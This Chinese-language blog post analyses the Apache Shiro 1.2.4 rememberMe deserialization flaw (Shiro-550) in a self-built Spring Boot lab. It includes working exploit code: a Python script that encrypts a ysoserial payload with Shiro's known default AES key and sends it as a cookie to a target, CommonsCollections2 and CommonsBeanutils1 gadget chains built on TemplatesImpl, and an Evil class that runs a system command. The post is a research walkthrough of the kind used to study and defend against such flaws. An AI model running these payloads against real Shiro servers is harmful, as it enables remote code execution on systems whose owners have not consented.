shiro反序列化探讨

shiro 反序列化漏洞探讨

shiro-550

首先先整需要commons-collections4的攻击

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>com.penson</groupId>
  <artifactId>Springboot</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>war</packaging>
  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.8</maven.compiler.source>
    <maven.compiler.target>1.8</maven.compiler.target>
  </properties>
  <!--springboot一定需要parent标签-->
  <parent>

    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.2.2.RELEASE</version>
  </parent>
  <!---->
  <dependencies>
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-thymeleaf</artifactId>
    </dependency>
    <!--        <dependency>-->
    <!--            <groupId>org.springframework.boot</groupId>-->
    <!--            <artifactId>spring-boot-starter-freemarker</artifactId>-->
    <!--        </dependency>-->
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-context</artifactId>
      <version>5.2.2.RELEASE</version>
    </dependency>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-spring</artifactId>
      <version>1.2.4</version>
    </dependency>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-web</artifactId>
      <version>1.2.4</version>
    </dependency>
    <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
    </dependency>
  </dependencies>


  <build>
    <plugins>
      <plugin>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-maven-plugin</artifactId>
      </plugin>
    </plugins>
  </build>


</project>

将shiro整合到springboot中

https://segmentfault.com/a/1190000019440231

主要先弄好两个类

image-20211126221347413

import org.apache.shiro.authc.*;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;

import javax.annotation.Resource;

public class MyRealm extends AuthorizingRealm {
    @Resource
    private Userconfig userconfig;

    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
        return null;
    }

    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
        UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken;
        String username = token.getUsername();
        if (!userconfig.getUsername().equals(username)) {
            throw new UnknownAccountException("账户不存在!");
        }
        return new SimpleAuthenticationInfo(username, userconfig.getPassword(), getName());
    }
}

RemembermeConfig

image-20211126234540863

import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.apache.shiro.web.servlet.SimpleCookie;
import org.springframework.stereotype.Component;

@Component
public class RemembermeConfig {

    /**
     * cookie设置
     * */
    public SimpleCookie rememberMeCookie(){
        //这个参数是cookie的名称,对应前端的checkbox的name = rememberMe
        SimpleCookie simpleCookie = new SimpleCookie("rememberMe");
        //cookie生效时间30天,单位秒;
        simpleCookie.setMaxAge(2592000);
        return simpleCookie;
    }

    /**
     * cookie管理对象;记住我功能
     * @return
     */
    public CookieRememberMeManager rememberMeManager(){
        CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
        cookieRememberMeManager.setCookie(rememberMeCookie());
        // cookieRememberMeManager.setCipherKey用来设置加密的Key,参数类型byte[],字节数组长度要求16
        // cookieRememberMeManager.setCipherKey(Base64.decode("3AvVhmFLUs0KTA3Kprsdag=="));
        cookieRememberMeManager.setCipherKey("ZHANGXIAOHEI_CAT".getBytes());
        return cookieRememberMeManager;
    }
}

shiroconfig使用Remmerbeme

image-20211126234620879

import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import java.util.LinkedHashMap;
import java.util.Map;

@Configuration
public class ShiroConfig {
    @Bean
    MyRealm myRealm() {
        return new MyRealm();
    }

    @Bean
    SecurityManager securityManager() {
        DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
        manager.setRealm(myRealm());
        return manager;
    }

    @Bean
    ShiroFilterFactoryBean shiroFilterFactoryBean() {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(securityManager());
        bean.setLoginUrl("/login");
        bean.setSuccessUrl("/success");
        bean.setUnauthorizedUrl("/unauthorizedurl");
        Map<String, String> map = new LinkedHashMap<>();
        map.put("/login", "anon");
        map.put("/**", "authc");
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }
}

设置好需要做权限控制的路由以及放行的路由

Controller要做的处理

    @PostMapping("/login")
    public String Login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true)String password){
        Subject subject = SecurityUtils.getSubject();

        UsernamePasswordToken token=new UsernamePasswordToken(username,password);
        token.setUsername(username);
        token.setPassword(password.toCharArray());

        //设置记住我
        token.setRememberMe(true);
        //开始登录
        subject.login(token);
        if(subject.isAuthenticated() || subject.isRemembered()){

            return "redirect:success";
        }else {
            return "login";
        }

    }
    @GetMapping("success")
    public String success(){
        return "success";
    }

启动打一波

用的CC2的链子

image-20211126224354565

shiro漏洞分析

服务端接收rememberMe的cookie值后的操作是:Cookie中rememberMe字段内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->反序列化,我们要构造POC就需要先序列化数据然后再AES加密最后base64编码

https://0range228.github.io/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

抄一下exp

import subprocess
import requests
from Crypto.Cipher import AES
import base64
import uuid
target = "http://10.219.65.100/penson/login"
jar_file = 'ysoserial.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

# 创建 rememberme的值
popen = subprocess.Popen(['java','-jar', jar_file, "URLDNS", "http://sxl1hs.dnslog.cn"],
                         stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))



# 发送get请求
try:
    r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
    traceback.print_exc()

shiro1.2.4以下如果没有自定义秘钥的话,会有个默认秘钥

D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.class

image-20211127194317230

自定义秘钥也是这样

D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-web\1.2.4\shiro-web-1.2.4.jar!\org\apache\shiro\web\mgt\CookieRememberMeManager.class

image-20211127194454816

image-20211127194356919

下断点跟进

拿工具打一波就可以看到调用栈咋走的

image-20211127202810416

先进到filter类,然后进到

D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.class::getRememberedSerializedIdentity()就是在调CookieManager里的方法

image-20211127205626127

D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-web\1.2.4\shiro-web-1.2.4.jar!\org\apache\shiro\web\mgt\CookieRememberMeManager.class::getRememberedSerializedIdentity()

image-20211127205316888

再对cookie进行判断

同时还有秘钥

image-20211127205421308

先对cookie进行base64解码

再回到D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.class::convertBytesToPrincipals() image-20211127210106132

image-20211127210047343

就是解密了

D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\crypto\JcaCipherService.class::decrypt

image-20211127211554486

image-20211127205725531

D:\maven\apache-maven-3.6.1\shiro_java\org\apache\shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\io\DefaultSerializer.class

然后再传到deserialize进行反序列化就能够触发利用链

image-20211127212039891

利用工具中的CommonsCollections2

image-20211127191223004

​ CommonsCollections2TemplatesImpl.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2TemplatesImpl {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
        return clazz.toBytecode();
    }

    public  byte[] getPayload(byte[] clazzBytes) throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        return barr.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

Exp1.java

    @Test
    public void test() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
        byte[] payloads = new CommonsCollections2TemplatesImpl().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }

Evil.java

public class Evil extends AbstractTranslet {    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}    public Evil() throws Exception {        super();        System.out.println("Hello TemplatesImpl");        Runtime.getRuntime().exec("calc.exe");    }}

无cc4攻击

在去除了commons-collections4外部依赖后

image-20211128173817398

可以发现那什么链子都打不通了,而且还有一点就是Beanutils也打不通了,这就很离谱,这个工具也是有弊端的

其实就是把那个compare换成了org.apache.commons.beanutils.BeanComparator:compare

image-20211128174742279

可以发现会调用PropertyUtils.getProperty()方法

getProperty(Object,属性)方法会自动找到当前的类的属性的get方法

回过头看到原来的cc链2的com\sun\org\apache\xalan\internal\xsltc\trax\TemplatesImpl.java

image-20211128184209258

这里刚好是一个get方法,而且它内部刚好调用了newTransformer()方法

所以需要让compare里的对象为那TemplatesImpl方法

这里刚好回过头看到yso的链子

image-20211128184703522

构造一下

package com.exp;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;class CommonsBeanutils1Shiro {    public static void setFieldValue(Object obj, String fieldName, Object            value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }    public byte[] getPayload(byte[] clazzBytes) throws Exception {        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});        setFieldValue(obj, "_name", "HelloTemplatesImpl");        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        final BeanComparator comparator = new BeanComparator(null,                String.CASE_INSENSITIVE_ORDER);        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,                comparator);// stub data for replacement later        queue.add("1");        queue.add("1");        setFieldValue(comparator, "property", "outputProperties");        setFieldValue(queue, "queue", new Object[]{obj, obj});// ==================// 生成序列化字符串        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(queue);        oos.close();        return barr.toByteArray();    }    public static void main(String[] args) throws Exception {        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});        setFieldValue(obj, "_name", "HelloTemplatesImpl");        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        final BeanComparator comparator = new BeanComparator(null,                String.CASE_INSENSITIVE_ORDER);        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,                comparator);// stub data for replacement later        queue.add("1");        queue.add("1");        setFieldValue(comparator, "property", "outputProperties");        setFieldValue(queue, "queue", new Object[]{obj, obj});// ==================// 生成序列化字符串        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(queue);        oos.close();        ObjectInputStream ois = new ObjectInputStream(new                ByteArrayInputStream(barr.toByteArray()));        Object o = (Object) ois.readObject();    }}

Exp

import javassist.ClassPool;import javassist.CtClass;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;public class Exp2 {        public static void main(String[] args) throws Exception {        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.get(Evil.class.getName());        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());        AesCipherService aes = new AesCipherService();        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");        ByteSource ciphertext = aes.encrypt(payloads, key);        System.out.printf(ciphertext.toString());    }}

image-20211128190709582

这里我试了好多款工具都是打不通的,不知道为啥,回头魔改一个打一波,好像是yso的链子行不通了


文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年